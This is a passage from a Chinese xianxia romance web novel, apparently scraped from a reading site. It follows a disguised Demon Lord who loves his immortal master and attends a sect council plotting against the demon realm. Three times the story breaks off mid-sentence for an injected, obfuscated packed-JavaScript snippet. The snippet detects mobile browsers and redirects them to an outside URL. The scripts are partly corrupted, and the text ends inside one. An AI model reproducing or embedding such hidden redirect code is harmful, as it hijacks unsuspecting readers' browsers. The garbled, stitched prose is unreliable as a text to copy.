明明方才还在魔界暗巷,漫无目的游走,走着走着……陌归尘也不知怎的就回到此地了。 铃铃当当满山头乱跑的小灵藕,不知从何时蹦到陌归尘跟前。 它打量眼前人,夜色中,陌归尘神情颓靡,眸光涣散,眼尾薄红,披头散发,红衫单薄,赤足踩地。 足背被月色照得近乎透明,薄如蝉翼的肌肤被霜风侵染,晕出丝丝绯色来,脚后跟还沾有两片嫣红落花。 就那么停在房门前。 不知思忖什么。 半晌后,小灵藕歪头,滴溜溜盯着陌归尘道:“你来啦?” 闻言,陌归尘回神,决绝如师尊,十年前那样冷的夜,都没为他开过门,他怎么敢妄想这扇门,会在迟来的十年后打开。 失意垂眼,正欲转身。 又听小灵藕高声喊着:“师尊!你徒弟来找你啦!” “半夜三更的!鞋袜也不穿,眼睛还红红的,也不知是不是才哭过鼻子,好羞羞哦!” 陌归尘:“就你有嘴!” 小灵藕抱头:“唔。” 小灵藕告状:“师尊!救我!你徒弟又打人啦!” 吱呀—— 门开了。 书房透出大半扇烛光,随之而来的是闻笺那熟悉的话音,在夜色中显得醇磁又清越。 还染着此人独有的安抚。 就像雨水淅淅沥沥打落大地,而他,正是那片久旱的荒土。 闻笺说:“出了何事?” 19. 这一瞬, 19. “我……” 陌归尘苍白的唇翕动,出口的嗓音沉哑模糊,只觉喉间似有滚烫热流,将他灼得发不出声。 支支吾吾了一下,像极个失声之人,明明有满腔话语诉说,可到喉间又什么都吐不出来。 “到底如何了?” 闻笺眉宇微凝望来,往日端方清冷的人,此刻,外衣襟敞开点口子,陌归尘隐约能瞧见里面的雪白中衣,看着像是匆匆披上外袍便赶了过来。 “怎么不说话?” 终于,心底绷紧的那根弦,似断开一股丝线来,陌归尘茫然无措,低下脑袋,喃喃声:“师尊。” 语气尽是不自知的柔软,尤像脆弱的雏鸟,尚未睁眼,却仍要磕磕绊绊,呢喃着寻找热源。 那是与生俱来的依恋。 绕是淡定如闻笺也被徒弟这声“师尊”喊得左右不是。 竟一时怔在原地,束手无策。 静了片刻,闻笺抬起食指,指背贴上徒弟额头眉心。 探了探,一触即离。 不烫,神魂也安然无恙,只是有些神思不宁。 至于为何心神不宁…… 闻笺:“到底发生何事了?说与为师听,为师替你做主。” 夜色浓稠,陌归尘那张脸一半陷在黑暗,一半被书房烛光镀着,终于,他缓缓移动脑袋。 退出那半边光。 重回昏暗中。 轻轻摇头:“没,叨扰了,弟子告退。”转身便要走。 “进来。” 隔着衣物,闻笺单手握上他臂,目光下移,匆匆扫过他沾满淤泥的脚后跟,好像还硌出点血,污迹斑驳印在地面。 陌归尘也被师尊这眼看得蜷缩了一下趾头,尤像做错事的孩子,东窗事发地被捅到家长跟前。 料想该挨一顿训斥。 焉知那人却低叹:“你这样子,为师如何放心放你走?” “我没事。” “听话。” 陌归尘还未来得及拒绝,就被师尊单方面扯进房。 猝不及防趔趄了一下,若不是得师尊反手一托,无声帮他稳住身形,怕是堂堂魔尊便要摔个四脚朝天了。 陌归尘余光偷瞄闻笺的手。 劲儿还挺大。 闻笺直接将他带去侧间偏房,久未踏足,房中布局丝毫未改,小时候经常赖在师尊怀里,有时候困了,师尊便让他歇在这隔间。 床上还摆着几个布偶公仔,面料上满是岁月痕迹,这么多年了,旧时的玩物竟还在。 这人,果然念旧呀。 随手捞起一个。 久违的感觉,从四面八方裹挟着陌归尘,叫人轻微怔忪。 师尊不知从何处端来杯安神茶,放到他跟前案几:“喝了,好受些。” 而后又从一个巨大的木箱翻出套崭新的衣物来:“从前给某人做的新衣裳,没来得及给他。” “师尊亲手做的?” “嗯。” 原来从小到大穿在他身的绫罗绸缎都是师尊一针一脚绣的,他当时还嫌这花样不好,吐槽那款式太老套,可真是任性。 忽然想看一眼闻笺的手,想看为他做了十几年衣裳的手,便见这人单膝蹲在他脚边。 那人手掌轻抬,修长匀称的五指微拢,因常年炼丹制药,肌肤被影响得白皙通透,乍看之下,尤像魂魄的质感。 又得益于是剑修,骨骼分明而有力。 此刻正化出莹白光辉。 丝丝缕缕灵光包裹他那破皮渗血的后脚跟。 “既是留给他的,我不要。”把整齐叠着的衣衫一推,陌归尘又补充了句,“这些衣物的主人,去哪了?” 很奇怪的话,问出口,他便有些后悔,静默了一下,原以为闻笺会告诉他诸如身死魂灭之类的话。 哪知那人收回灵力,起身往外间走去,边走边说:“名扬天下去了。” 陌归尘:“……” 确实,污名满天下,怎么不算名扬天下呢。 陌归尘盯着闻笺停在竹帘下的背影,雪影单手掀起竹帘,又忽而转身。 “你体内气息略紊乱,今晚便歇在此处,为师在外面,身子若有不爽便唤我。” 停顿片刻,闻笺抿唇,终是又问了句:“不开心?” 陌归尘矢口否认:“没。” 闻笺若有所思般:“正好百花会在即,随为师出门散散心。” “?” 您老人家耳背? 陌归尘拔高音量,一字一句强调道:“我没不开心。” “歇吧,后日启程。” 陌归尘:“……” 他以前怎么没发现自家师尊还有这么霸道的一面? 根本不让人说话呀。 罢。 权当尊老爱幼。 * 这十年来,无极魔尊若是要歇息,方圆十里都不可能有活物,哪怕是近身伺候的婢女也只是通过阵法感应,而急匆匆传送过来服侍。 偷瞄竹帘外的虚影,他鬼使神差般,坦然接受着闻笺的存在,并且,极度安心。 原来,身体是不会撒谎的。 就像他的防御结界,只要有闻笺在,便从不会生效。 房中。 陌归尘并未安安分分收起腿上床榻,反倒是光脚来到那个木箱前,方才师尊翻箱时,他鬼鬼祟祟偷看了几眼,一清二楚看见箱内全是自己的旧物。 曾经那么爱清静的人,却偏要给活泼好动的小灵藕挂上满身铃铛。 是沉浸在自欺欺人的热闹中么? 毕竟儿时的他也曾有过一串铃铛手镯,后来戴腻了,便摘下来了,也就是此刻被他捞起来的这串手镯。 陌归尘把铃铛手镯塞进怀。 他禁不住地想,其实那尊小灵藕,在师尊眼里,就是幼时的青栀吧。 你也放不下我,是么? 可是…… 明明该喜从中来的人,偏头望向书房外间那副书法,竟越发的惆怅不已。 简单框起的书法只有五个字 ——天地君亲师。 这幅书法出自师尊之手,依稀记得他幼时是没有的,后来,也不知哪天起,就毫无征兆地挂在书房里最显眼的位置。 就这么毫无征兆挂起。 也那么毫无征兆给他一记痛击。 天地君亲师。 是呀,天地君亲师。 哪个好徒弟会如此罔顾伦常,爱上自己师父的? 爱谁不好。 为何就偏偏是师父呢…… 这十年来,气你,厌你,埋怨你,唯独没恨过你,所以也从未想过,伤你,杀你,报复你,明明自己污名满身,还要屡屡维护你,希望你做那个不染风霜,干干净净一身白的仙尊。 因为爱。 明明爱可抵万难。 可偏偏,他所爱之人是最不可爱之人,那些从心尖儿破土而出的情丝,便在午夜梦回时,化成最尖锐的刺刀,生生扎回他这颗心。 千疮百孔,鲜血淋漓。 可他又能如何,大梦初醒时,方惊觉情不知所起,一往而深,回不了头了,只能眼睁睁望着自己越陷越深。 越陷越深…… * 翌日辰时。 陌归尘掀开竹帘,外间桌面,摆放着点食物,还被灵力温着。 “来用膳。” 闻笺放下书卷,示意他坐下。 陌归尘点头坐下。 桌上是盘荷叶鸡,还有一碗羹汤,看似简单寡淡,但自己到底也是闻笺亲手调教出来的半个医修,自然看得出这碗羹汤囊括了九九八十一味药材,光是萃取灵植汁液便格外考究火候,高一分或低一分都会前功尽弃,需得从头再来。 特别的费时费力。 况且还出自闻笺手,效果自然如极品天阶仙丹,灵气浓郁,温养经脉,也滋阴补肾,实乃不可多得的圣品。 这碗羹汤若是放在外面拍卖会,怕是渡劫期大能都争得个头破血流。 然而到了闻笺口中便是:“随便熬的,味道尚可,趁热吧。” 真真是财大气粗。 当然,多年师徒,他又岂会不懂,闻笺不过是怕他喝得有负担,才说得如此轻巧罢了。 怪贴心的。 “哦。”陌归尘默契佯装心安理得,慢条斯理喝起羹汤。 心中难免唏嘘,整整十年,师徒二人真是难得还能有如此和谐同桌,共度过一个平静稀疏的早晨的画面。 挺好的。 就像凡间死刑犯也会获得一碗丰盛断头饭的恩赐。 就是不知何时能来个“听妻入狱”的人文关怀。(1) 他还蛮期待的。 * 第二日早,临出发玄灵宗前,陌归尘正在自己院内摸着那串手镯发呆。 “嚯!你偷东西!” 院中忽而响起话音,循声回头,只见小灵藕抱着碗羹汤出现,走起路来,铃铃铛铛的。 青年没反驳,拿着铃铛手镯在小灵藕身上对比一下,预料之中,果然相似度极高。 他淡淡转移话题道:“你来做什么?” 小灵藕瞬间被带偏:“送羹汤呀,师尊让我监督你喝!” “哦。” 陌归尘拿起羹汤,一饮而尽:“你们仙尊在哪?” “在思过崖。” 出发在即,这人怎么还有闲情雅致跑去思过崖,陌归尘略有狐疑,还是出门寻人。 崖边,雪影负手而立。 陌归尘杵在树下看了片刻,一言不发迈腿,走过去时,埋藏骨血里的小心思,还是情不自禁撺掇他多迈出一步。 这多出的一步,恰恰让他停在自家师尊身侧。 与师尊并肩而立。 闻笺似乎早已习惯自己的徒弟总是逾矩,没斥责什么,默默遂了他的兴致。 “走吧。” 闻言,陌归尘悄悄瞥了一眼眼闻笺,又把视线挪开。 而后跟在那人身旁。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375706|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年,整整十年,他总算爬上和师尊一样的高度,是足以并肩而立的高度。 只可惜命运弄人。 纵然高度相同,奈何他所站的,却是师尊的彼端。 是与仙门百家对立的、即将兵戎相见的另一端。 * 玄灵宗。 遥想十几年前,玄灵宗也不过是个名不经传的小门派,自打他们魔界左护法二竹弋混进其中当了个掌门,才日益发展成如今中天的大宗。 连带自己擅长的傀儡术与阵法也传了去,真是活脱个大善人。 这次,与以往不同,百花会只是幌子,实际却是伏魔会。 这么些年,闻笺统共出席过两次百花会,第一次是带他来相亲,这第二次是带他来散心。 陌归尘坐在席间。 心情十分复杂。 宴厅,百花会尚未正式开始,众人零零散散或走动或席坐,都情不自禁边偷瞄某个方向边窃窃私语交谈。 玄胤仙尊为人清冷恬淡,那来自强者的威压是半分不少,众人顶礼膜拜之余更是不敢搭话,纷纷将恭维的目光投向仙尊的新弟子,趋炎附势的味道足足的。 众人早就听闻仙尊新收了位弟子,比起先前那位无法无天的小乞丐,这位也是不遑多让。 先是在秘境之中大显身手,几乎是一战成名,后又将自家授课长老打趴下,一时“威风无比”,之后出门历练,更是挽救一众同门于生死一线间。 与先前那位声名狼藉不同,这位虽相貌平庸,但这实力,确实也是叫人刮目相看啊。 “仙尊,这位便是令徒?” “果然不同凡响。” “是了是了,来日必成大器,如仙尊这般叫人望尘莫及啊!” 众人一窝蜂凑来时,陌归尘正百无聊赖托腮,单手旋动指尖,来回把玩颗青提。 堂堂魔尊,我行我素惯了,最烦这种虚与委蛇的应酬,真的很想当场掀桌。 但转眼一瞧自家清冷出尘的师尊,旁若无人得入定了似的,看都不带看一眼,真是比他还拽上八百个度。 又倏地想起师尊待自己的态度,几乎有求必应,把所有的温柔都留给自己。 如此强烈对比! 明晃晃的双标! 让目中无人惯了的魔尊大人大为受用,难得放缓态度,扯出点笑来应付众人。 “诸位长老有礼,诸位长老厚爱,诸位……” …… 说话间,此次宴会主人,玄灵宗掌门二竹弋款款走来。 金冠玄袍的男子穿过众人:“抱歉抱歉,临时处理点事,来晚了,二某自罚一杯。” 众人纷纷散去,回到自己的位置落座,陌归尘也总算清静些许。 穿堂风拂过,主位之上,二竹弋一落座,便别有深意瞥向陌归尘:“哟!这位便是仙尊新收的爱徒?果然,见之难忘呵。” 瞬间,宴会百八十道目光全交汇在陌归尘身。 陌归尘:“……” 这老东西意味不明地拎他出来,准没好事,只想安安静静坐会儿怎就这般难,真想秋后算账去废了这厮。 陌归尘正愁如何接话,沉默许久的闻笺忽然发话,适时掀过话题:“二掌门,直入正题吧。” 二竹弋呵呵陪笑:“仙尊说得是。”随后敛起笑意,肃穆几分,字字句句,有条不紊,头头是道。 这场发言说得在座的仙门众人愈发义愤填膺,慷慨激昂,恨不得马上杀进魔界直捣黄龙取下无极魔尊狗头当球踢! 坐在其中,陌归尘眼角微抽,也真的很想笑。 这么一场庄严神圣的伏魔大会,主持会议的是潜入仙门当卧底的魔界二把手,而被声声讨伐的魔界大魔头,正在会场中饶有兴致地吃着青提。 仙门十四州? 真是好大一场笑话。 然后他便真的情不自禁笑了,并且偏头的功夫还猝不及防地…… 撞进闻笺的眸光。 师尊也似被他感染到,本漫不经心的眉眼含上半点柔和,问:“想什么这般开心?” 陌归尘:“……” 殿顶琉璃盏光辉不时晃过二人,映着闻笺那张素净的脸,明明寡淡,却无端透出两分蛊惑。 割裂,又微妙。 服了。 陌归尘撇开视线。 不知道自己有几分姿色是吧?搁这乱笑什么,一天天的,净会撩拨人。 这一瞬,陌归尘真的很想把闻笺关起来。 永远锁起来,所有喜怒哀乐痴憎怨恨,都只许他一个人欣赏。 他又止不住地想,见惯了闻笺云淡风轻的神情,亦不知这人恼羞成怒的模样该是如何精彩? 譬如被徒弟调戏? 一想到闻笺那样的人,被他撩拨得面红耳赤,却也只能指着他嗔骂:“逆徒,你敢?” 陌归尘便无端亢奋。 连带心尖那株血蔷薇也随之激动得摇曳舞动,灼灼发暖。 如在极力鼓舞他。 20. 真不知闻笺的血, 20. 陌归尘双指捏着颗去皮青提,送到嘴边。 冰凉甜腻的触感印在唇上,他舌尖舔舔唇瓣。 汁水入口甜而不腻。 很是清爽怡人。 脑海骤然晃过半截雪色颈脖,陌归尘眸中也随之浮出抹诡异的暗光,心底想法也似得灌溉,正阴暗疯长。 真不知闻笺的血…… 是不是也是这般好滋味。 “小陌。” 耳畔忽而传来点嗓音,清心咒般,瞬间叫人神清气爽几分。 “嗯?”陌归尘骇然醒神,闻声侧眸,便只见闻笺淡淡望着他。 那人嗓音清冷:“为师观你有些心神不宁,可是哪里不舒服?” 陌归尘不解摇头:“没,弟子挺好的。” 话虽如此,但闻笺似乎还是不放心,指尖弹出缕灵丝。 丝线缠上他脉搏。 是悬丝诊脉。 陌归尘便是更奇怪了,幼时,师尊也不是没给他诊脉过,都是直接上手的。 从未用过此法。 十几年的记忆中,他倒是撞见过师尊为女子诊脉方这样。 那时,师尊向他解释道:“男女授受不亲。” 可他们两师徒,又同为男子,何须这般避嫌,着实想不通。 本欲询问一二,那人恰好开口:“睡前念几遍清心咒。” 陌归尘疑惑看人:“?” 闻笺若无其事启唇:“肝火略盛。” 陌归尘:“……?” 不是调侃,胜似调侃。 陌归尘不乐意了,敛着眉,盯紧闻笺那条还未收的雪白灵丝,勾起食指,狠狠弹了一下丝线。 伤敌一千,自损八百。 于是,两人都手麻了。 然后,陌归尘便听闻笺笑了。 那道哂笑声,模糊似在砾石里滚过一遭,又沉又苏,缓缓穿过耳膜。 是在低斥他:“幼稚。” 与此同时。 殿中,众人一时群情高涨,不知谁欢呼喝了几声好,引得陌归尘也蹙眉瞧去。 便见不知是哪位宗门的师兄起身,身姿窈窈,款款来到殿中,侃侃发言。 玉面男子骨扇啪一下打开,装模作样扇了扇:“弟子听闻那无极大魔头长相奇丑,大腹便便,近几年还越发荒淫无道,夜夜笙歌。” 无极魔尊本尊陌归尘忍不住掀眼:“……” 他倒想夜夜笙歌,奈何师尊不解风情,与自己八字还没一撇。 笙不了一点歌! 殿中,玉面男又道:“既然他好女色,咱们说不定可以来一出美人计,吹吹枕边风,套些情报回来。” 造谣! 活生生的造谣! 换作平日,陌归尘是不屑回应的,奈何今日师尊在场,实在不愿这盆脏水,当着师尊的面泼到他身。 陌归尘懒眼觑人:“好女色?” 玉面男侧眸,霎时与陌归尘对视,拱手一笑:“是,好女色。” “我怎么不知道?” “笑话,你拜入仙门时日尚短,又怎会知晓这些!这可都是我千辛万苦从一个魔修口中探来的消息,保真!” “那你要如何投其所好?” 玉面男大义凛然,又不失痛色道:“我们合欢宗的几位师姐师妹愿意舍身取义,深入虎穴,与那魔头周旋。” 言语间,他又抬手拍拍掌。 殿中霎时站起几位女子。 玉面男介绍着:“这八位姑娘,乃我合欢宗师姐师妹,春夏秋冬,梅兰菊竹,妖媚的、清纯的、娇憨的、高冷的……等等,一应俱全。” “我就不信那无极大魔头能不拜倒在我合欢宗众师姐师妹石榴裙下。” 陌归尘面无表情扫了眼,煞有其事摇头:“不行,我觉得不行。” 玉面男恼怒瞪人:“欸!你这人!别光顾着耍嘴皮子反驳,倒是拿出点建设性的意见来,你给大伙儿说说需得怎样的方行!” 陌归尘轻托下颌,拖着强调沉吟一下:“我觉得——” 众人好奇瞩目,等待后话。 便见陌归尘视线在闻笺身上停顿一下,移开,才缓缓开口:“在座的姑娘都不行。” 玉面男呛了声,瞬间暴怒:“你!你这话是何意!陌归尘!你别太傲!” “我们在座的师姐师妹,个个品相出挑,怎么到你嘴里就那么貌若无盐!” 其余门派弟子也是恼怒不已:“就是就是!少自以为是,我们师姐师妹还不屑入你眼呢!” “你以为是你选妃呢!” “你给我们师妹提鞋还得排到若水河呢。” 反驳声讨铺天盖地而来,剑拔弩张,众人纷纷为自家师姐师妹打抱不平,若非顾忌仙尊在,怕便是一场刀光剑影、无情厮杀的暴戾场面。 比他这个魔头还魔怔。 …… “诸位少安毋躁。” 陌归尘散漫摆手:“我并非说在座的师姐师妹相貌不可,而是我觉得那位无极魔尊并不好女色。” 玉面男火冒三丈怒斥:“你觉得,不过是你觉得罢了!” 陌归尘一针见血反问:“难道这位师兄不是一直在‘我觉得’吗?还是说在座各位有谁目睹过无极魔尊真容?” 此言一出,堵得满座哑然。 面色胀红,相顾无言。 观戏许久的二竹弋,望着殿中那抹红影,不可名状轻笑。 静得针落可闻的大殿,这声略暧昧的笑显得格外刺耳。 在场的人不约而同瞧去,只听二掌门轻飘飘道:“我倒是有幸见过。” 不少弟子满目愕然望人。 “您见过魔头真容?” “二掌门莫不是在说笑?” “是呀!那位大魔头不是素来神秘?” 众人面面相觑等待后话。 陌归尘藏在袖口的指紧攥了一下,冷眼瞥向主位之人:“二掌门可要谨言慎行。” 二竹弋迎着陌归尘的目光,轻敛笑意,垂头,回味似的:“真容不清楚,只有幸远远瞧过一个侧影。” “倒不是我浮夸,着实是,仙门十四州加起来,都不及无极魔尊风华绝代。” 话音刚落,却似石投湖面,激起千层浪。 “光是侧影便如此绝色?” “二掌门此言当真?” “不是,二掌门,您这是手指往外拐啊!哪有这般长他人志气,灭自己威风的?” …… 二竹弋淡声道:“实话实说。” 陌归尘神情陡变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13375707|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,冷若冰霜斜觑向二竹弋,掌心悄然化出攻击,若这人再胡言乱语,他有一百种法子叫此人后悔当初。 有人摇头:“美人计不可行。” 有人轻叹:“那当如何?” 有人不屑:“智取不行,那便直接杀进魔界呗!与他们客气什么!” 二竹弋:“我倒是听闻那位魔尊,其实爱慕玄胤仙尊已久,许是得委屈仙尊亲自去一趟魔界。” 话毕。 满殿噤若寒蝉,须臾间静得鸦雀无声。 谁爱慕仙尊? 魔头爱慕谁? …… 良久后。 陌归尘冷嗤:“笑话!” 他迈出一步:“二掌门这话是在折辱家师?” 二竹弋倒也不惧,温和失笑:“陌小友,难道我有说错?” “忽然想起,有个问题困惑我许久,可否单独请教二掌门一二?” “哦,却之不恭。” 众人还未从重重震惊回神,皆是愣在原地。 倒是沉默许久的闻笺忽然唤住陌归尘:“你、” 陌归尘循声回头。 只见闻笺望来,这人素来纵着自己胡闹,以往皆是淡淡然的。 这一次竟是……担忧? 陌归尘当即一顿,好久没在师尊脸上看到这种神情了,上次看到应该还是十多年前。 彼时仙门大会,各派弟子比武切磋,最后一关生死由命,而他也着了旁人的暗算,气若游丝,苟延残喘伏地。 那时,闻笺正站在云台上观战,忧心自己寡不敌众。 其实当时的他,并无胜算把握,可是眼瞅自家师尊那溢出眼底的焦急,大有种当场掀了这会场,冲进来救人,再叫在场的仙门百家陪葬的错觉。 就是那一个对视。 竟令他绝地逢生,瞬息翻盘,出其不意地以雷霆万钧之势,蓄力一击,反败为胜破局。 当时还不懂,体内那股几近能破体的浩瀚力量到底从何而来。 后来方渐渐醒觉。 是爱。 原来,爱真的可抵万难。 陌归尘弯身,指尖挑起串青提:“师尊宽心,二掌门宽厚仁慈,弟子不过是向他讨教问题,他自然不会为难晚辈。” 想了想,胸有成竹地淡定补充,也安抚似的开口:“弟子一会儿便回。” 说罢,拎着那串青提,越过茫茫然的众人,往偏殿方向走。 * 另一边,二竹弋已候在侧殿中等人。 陌归尘寻着气息走来。 “殿下,您来了?” 青年刚踏进门,单手一挥立起道密不透风的结界,神色淡漠睨着房中人,抬脚便踹了过去。 二竹弋猝不及防挨了一脚。 “咳咳。” 这一脚少说也有五六成灵力,直叫二竹弋整个人飞出好几米外。 身影直愣愣撞碎方案几,震得五脏六腑碎裂,直呛出好几口血来,狼狈不已。 银发青年眉间如结霜,尽是冷寒,掌心化出黑鞭,甩袖,鞭子精准圈住二竹弋脖子,用力一拽,将人扯到脚边匍匐。 陌归尘居高临下睨视二竹弋:“好日子过惯了,认不清自己几斤几两?” “我的人,是你能辱的?” 21. 拜别。 21. 魔界那夜的怪象,二竹弋也自然清楚,是陌归尘又顿悟晋级,他们的魔尊殿下,如今已是半步飞升的境界。 修道艰难,越往后便越如天堑鸿沟,饶是修为已高深如他,对上这只比他高出小半阶的陌归尘,也宛若蝼蚁。 想要碾死这具躯体。 只消一个眼神。 尽管如此,二竹弋仍是丝毫不慌,指尖爱抚似的摸上黑鞭:“殿下此言差矣,我不过是助殿下一臂之力。” “那些愚昧的仙门中人,如此急于给殿下选妃,倒是提醒我了,咱们魔界,确实缺那么一位魔后。” “玄胤仙尊,便是不二之选。” 陌归尘冷若冰霜道:“荒谬!” 二竹弋手肘吃力撑地,正欲爬起,强大的威压骤然劈落,叫人猛地一跌。 随后,只见他们的魔尊殿下抬腿,一脚踩在他肩膀,毫不留情将人碾回木碎里。 细屑扎得人浑身渗血。 陌归尘右手用力一拽,黑鞭如毒蛇,越发勒紧二竹弋颈脖,勒得人窒息,随后,猛地一掀,直将人掀翻,玄色身影甩到结实的墙。 这撞击,叫壁灯都被震碎,星火与那人影一同掉落地面。 滚烫的烛焰,倏地贴着二竹弋的手臂,滋啦一声,烧得皮开肉绽。 二竹弋齿关染血,半是皱眉半是笑,病态疯癫,又似在控诉嗔怪:“殿下,好狠心。” 陌归尘掌心化出柄剑,面无表情:“反正魔界右臂已卸,你若再胡言乱语,本尊不介意把这左膀也一并废掉。” “殿下,当真舍得?” “呵。” 陌归尘冷笑,一步一步逼近二竹弋,剑尖挑起那人喉结。 “本尊有什么不敢的?” “有,殿下明明钟情闻笺,却不敢挑明心意,遮遮掩掩的,实非殿下作风。” 青年眼尾一挑,毫不留情地,又是一脚踹过去。 …… 半盏茶功夫后。 陌归尘手中动作一滞,瞥向某个方向,掐熄怒火,匆匆收了胡乱砍的剑。 身上戾气如潮水退却。 他丢下个丹药:“起来,疗伤。” 单方面挨揍半天的二竹弋,艰涩爬起,伸手去摸丹药:“果然,殿下还是心疼我的。” 话刚完。 又挨了结实的一脚。 * 叩叩—— 敲门声过后,陌归尘神色自若拉开门,往嘴里丟进颗青提。 微讶道:“师尊怎的来了?” 感受着闻笺落在他身的灵力,水流般,轻柔流转,缓缓抚过全身经脉。 貌似是在查探自己的身子状况,片刻后,便听自家师尊问:“他可有为难你?” 陌归尘摇头:“怎会。” 闻笺敛回指尖灵力,看了眼徒弟,只见那人眉眼灵动微转,纯良无害之余,还略带点调皮,找不出任何受过委屈的蛛丝马迹。 “二掌门很是待见弟子。”陌归尘温淡一笑,咽下青提果肉,侧着身子移开几步。 顿时露出房中安安静静坐在书案边的二竹弋。 二竹弋起身相迎,爽朗呵笑:“不愧是尊上看中的妙人,确有慧根,话锋犀利,让我十分招架不住。” 闻笺目光落在漫不经心抛青提把玩的徒弟,又看向眉眼含笑的二竹弋。 再三确定徒弟没受伤,便是颔首:“小徒顽劣,有劳二掌门担待。” 二竹弋拱手回礼:“尊上言重。” 这么一折腾,便是将将入夜,百花会持续三日,众人也纷纷安顿在玄灵宗客苑厢房,明日再齐聚商议。 陌归尘则被闻笺领着来到玄灵宗附近的镇子。 时值凡间花灯节。 镇子热闹不已。 陌归尘虽自人间来,也曾随师尊大江南北地游历过不少时日,却从未逛过如此空前盛大的灯节。 难免生出两分兴致。 倒真应了师尊带他出来的初衷:散心。 彩灯满长街,琳琅满目,五彩焰火绚烂,眼花缭乱,连湖边的树也挂上装饰,真真是火树银花,恍若不夜城。 百花会本就是仙门弟子的相亲大会,定在人间花灯节之日也实属正常,毕竟若是彼此看对了眼,正好可以借此契机出来赏花灯,再度增进感情。 这十里长街,不乏身戴各门各派服饰之人结伴同行。 出双入对,暗流涌动的。 便显得混在其中的师徒二人颇为突兀。 旁人是名正言顺的道侣。 他们算什么? 光风霁月的仙尊,和他那图谋不轨、满心满眼想着以下犯上的孽徒? 简直不伦不类。 观望天上烟火间隙,陌归尘左右两边同时路过两队人。 一边是拎着凤凰花灯,打算去山上神树,祈求天赐洗骨丹药入仙门修行的凡夫俗子。 另一边则是抱着兔子花灯感慨凡人生活烟火气满满,令人心驰神往的仙门弟子。 人真是奇怪,作凡人时,渴望问道仙门以保长生。 修道成仙以后,竟又开始怀念为人的烟火生活。 可笑如他。 讨厌闻笺是师尊。 可若非是师尊,他又如何对闻笺一步步沦陷? 是因,也是果。 真是个无可解的死循环。 * 晃神的功夫,方惊觉一直与自己相隔两步之遥的师尊竟不见踪影了。 陌归尘左顾右盼。 行人络绎不绝,又一波人群雀跃地往某个方向涌出。 所以,他们是被人流冲散了么? 红影高挑,视线越过攒动的人头四处张望,仍耐不住,被人流往一旁推了推。 河道旁有些静。 陌归尘站在方空地,身披粗布麻衣的汉子们正在搬运木材,搭建戏台。 戏台下,几位文人墨客推杯换盏,高谈阔论,而后又吟诗作对起来。 陌归尘径直越过几人。 来到戏台一侧。 木板垒成的舞台约莫七尺高,足以媲美位成年男子身高,需得踩着台阶才能够上去。 陌归尘鬼使神差地踩落台阶,上了戏台。 不消片刻,身后忽而传来急促的跑步声,还有些欢乐的嬉闹笑声。 “哈哈哈哈阿姐快来呀!” “慢点!我追不上你了!” 他回头,原是有对小孩在打闹,那男孩转头的功夫,险些撞到他,陌归尘避开,眼见小男孩将摔落戏台,又眼疾手快去拉了一把。 戏台另一侧。 十几岁的姑娘姗姗来迟跑上来,将人拥回怀里:“吓死我了!” 而后格外老成,连忙堆出歉意赔不是:“这位公子,抱歉抱歉,我家阿弟不懂事,给您添麻烦了。” “不打紧。” 年纪稍小几岁的弟弟也是怯怯道:“谢谢公子。” 小姑娘呈上手里的纸袋,浅笑道:“我们姐弟无以为报,只有这点粽子糖,还望公子莫嫌弃。” 人影离去,陌归尘看着掌心的几颗粽子糖,又忍不住去看那对渐行渐远的姐弟。 …… 眼前场景似重新构建,回到十几年前的浮华派。 “哟!这是哪家小孩?怎么在我浮华派捡垃圾?脏得哟!” 烈日当空,几岁的小团子擦擦额角的汗,眯眼瞅着眼前十来岁的少女,正天真活泼地甩着条红绫绸缎。 小团子问:“你谁呀?” 红绫少女也问:“你又是谁?” “落霞峰,闻青栀。” 少女逗弄似的,弯下腰捏捏小团子腮帮:“原来你就是师叔养在落霞峰的小徒弟。” 几岁的孩童皱起小脸,不悦打掉少女的手:“眼看手勿动!” 少女掩嘴取笑:“你这小鬼头,凶巴巴的。”说着便往人手心塞去颗糖,“给,别捡垃圾啦。” 看到糖,几岁的孩子顿时眉欢眼笑,转瞬间,又犯难挠挠脖子:“不行,我要攒钱还闻笺,还要给闻笺束脩六礼。” “他说,不能偷不能抢,那我只能捡垃圾了。” 少女登时了然,这浮华派怎么可能有垃圾,便是又问:“你这垃圾怎么换钱?” “跟闻笺换。” “他说,一块废铁能换一块下品灵石,我现在已经攒了五块下品灵石和一块中品灵石了。” 红绫少女挑眉:“那你还挺厉害。” 倏然被夸,小团子顿时骄傲不已,干劲儿满满捆实麻袋往背上一甩:“那可不!” 山下忽而传来呼喊声:“二师姐,再不启程该迟到啦!” 少女匆匆应道:“来了。”随后又往小团子手里塞了颗糖,便是御起红绫,化成飞行武器。 小团子好奇审视手心的糖,小小一粒,有棱有角,很是别致:“这是什么糖?” 少女趁机薅了一把满眼只有糖的小团子的脑袋,跳上红绫道:“粽子糖。” 夕阳将下。 栈道上,小团子穿过漫天霞光,活蹦乱跳跑回落霞峰,一脚踹开书房的门。 “闻!笺!” 几岁的孩子,手心统共就两颗模样精巧的粽子糖,却不假思索把其中一颗分享给自家师尊。 “吃糖!” 师尊稳稳接住扑进怀里的小徒弟,问:“谁给的?” 小徒弟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 